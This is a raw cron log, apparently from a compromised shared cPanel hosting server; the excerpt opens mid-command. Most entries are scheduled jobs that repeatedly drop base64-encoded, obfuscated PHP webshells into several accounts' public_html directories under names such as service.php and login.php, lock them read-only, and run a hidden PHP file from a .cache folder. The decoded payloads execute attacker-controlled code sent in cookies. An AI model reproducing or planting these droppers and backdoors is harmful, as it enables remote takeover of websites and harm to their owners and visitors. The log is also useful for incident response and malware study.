"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:11:02 medusa CROND[21137]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:11:02 medusa CROND[21139]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:11:02 medusa CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:11:02 medusa CROND[21138]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:12:02 medusa CROND[5173]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:12:02 medusa CROND[5174]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:12:02 medusa CROND[5177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:12:02 medusa CROND[5180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:12:02 medusa CROND[5181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:12:02 medusa CROND[5183]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:12:02 medusa CROND[5185]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:12:02 medusa CROND[5184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:12:02 medusa CROND[5186]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:12:02 medusa CROND[5191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:12:02 medusa CROND[5193]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:12:02 medusa CROND[5199]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:12:02 medusa CROND[5187]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:12:02 medusa CROND[5205]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:13:01 medusa CROND[20478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:13:02 medusa CROND[20871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:13:02 medusa CROND[20872]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:13:02 medusa CROND[20874]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 22:13:02 medusa CROND[20875]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:13:02 medusa CROND[20877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:13:02 medusa CROND[20878]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:13:02 medusa CROND[20879]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:13:02 medusa CROND[20876]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
